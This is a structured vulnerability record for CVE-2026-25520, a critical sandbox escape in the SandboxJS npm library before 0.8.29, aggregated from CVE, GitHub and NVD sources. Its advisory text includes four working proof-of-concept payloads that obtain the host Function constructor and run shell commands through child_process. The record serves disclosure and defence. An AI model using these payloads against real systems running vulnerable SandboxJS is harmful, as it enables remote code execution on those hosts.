{"id":"CVE-2026-25520","aliases":["CVE-2026-25520","GHSA-58jh-xv4v-pcx4"],"related":[],"kind":"vulnerability","state":"published","title":"SandboxJS has a Sandbox Escape","summary":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, The return values of functions aren't wrapped. Object.values/Object.entries can be used to get an Array containing the host's Function constructor, by using Array.prototype.at you can obtain the hosts Function constructor, which can be used to execute arbitrary code outside of the sandbox. This vulnerability is fixed in 0.8.29.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, The return values of functions aren't wrapped. Object.values/Object.entries can be used to get an Array containing the host's Function constructor, by using Array.prototype.at you can obtain the hosts Function constructor, which can be used to execute arbitrary code outside of the sandbox. This vulnerability is fixed in 0.8.29.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nThe return values of functions aren't wrapped. `Object.values`/`Object.entries` can be used to get an Array containing the host's `Function` constructor, by using `Array.prototype.at` you can obtain the hosts `Function` constructor, which can be used to execute arbitrary code outside of the sandbox.\n\n### Details\n\nThe return values of functions aren't wrapped, chaining function calls allows bypassing most validation/sanitization. \n\n### PoC\n\n```js\nconst s = require('@nyariv/sandboxjs').default;\nconst sb = new s();\n\npayload = `\nconsole.log(\n  Object.values(this).at(0)(\n    \"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()\",\n  )(),\n);\n`\n\nsb.compile(payload)().run();\n```\n\n```js\nconst s = require(\"@nyariv/sandboxjs\").default;\nconst sb = new s();\n\npayload = `\nconsole.log(\n  Object.entries(this)[0].at(1)(\n    \"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()\",\n  )(),\n);\n`\n\nsb.compile(payload)().run();\n```\n\n```js\nconst s = require(\"@nyariv/sandboxjs\").default;\nconst sb = new s();\n\npayload = `\nconsole.log(\n  Object.entries(this)\n    .at(0)\n    .map((f) => {\n      if (typeof f === 'function') {\n        f.call('', 'return process')()\n          .getBuiltinModule('child_process')\n          .execSync('ls -lah', { stdio: 'inherit' });\n      }\n    }),\n);\n`\n\nsb.compile(payload)().run();\n```\n\n```js\nconst s = require(\"@nyariv/sandboxjs\").default;\nconst sb = new s();\n\npayload = `\nconst t = (f) => {\n  f.call('', 'return process')()\n    .getBuiltinModule('child_process')\n    .execSync('ls -lah', { stdio: 'inherit' });\n};\nconsole.log(t.call(...Object.entries(this)[0]));\n`\n\nsb.compile(payload)().run();\n```\n\n### Impact\n\nSanbox Escape -> RCE","format":"markdown","source":"ghsa"},{"lang":"es","text":"SandboxJS es una librería de sandboxing de JavaScript. Antes de 0.8.29, los valores de retorno de las funciones no están encapsulados. Object.values/Object.entries pueden usarse para obtener un Array que contiene el constructor Function del host; al usar Array.prototype.at se puede obtener el constructor Function del host, el cual puede usarse para ejecutar código arbitrario fuera del sandbox. Esta vulnerabilidad está corregida en 0.8.29.","source":"nvd"}],"published":"2026-02-05T20:41:28.000Z","modified":"2026-06-17T10:24:46.997Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"rating":"CRITICAL"}],"cwes":["CWE-74"],"affected":[{"ranges":[{"version":"< 0.8.29","status":"affected"}],"vendor":"nyariv","product":"SandboxJS","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.8.29"}],"ecosystem":"npm","package":"@nyariv/sandboxjs","purl":"pkg:npm/%40nyariv/sandboxjs","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"0.8.29"}],"vendor":"nyariv","product":"sandboxjs","cpe":"cpe:2.3:a:nyariv:sandboxjs:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/nyariv/SandboxJS/security/advisories/GHSA-58jh-xv4v-pcx4","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25520","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/nyariv/SandboxJS","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-02-06T20:18:04.826Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-25520","url":"https://www.cve.org/CVERecord?id=CVE-2026-25520","licence":"CVE Terms of Use","modified":"2026-02-06T20:18:08.646Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-58jh-xv4v-pcx4","url":"https://github.com/advisories/GHSA-58jh-xv4v-pcx4","licence":"CC-BY-4.0","modified":"2026-02-06T22:22:10.705Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-25520","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25520","licence":"Public domain","modified":"2026-06-17T10:24:46.997Z"}],"updatedAt":"2026-11-25T22:59:13.571Z","epss":{"score":0.0085,"percentile":0.59268,"date":"2026-12-01T12:00:22.000Z"}}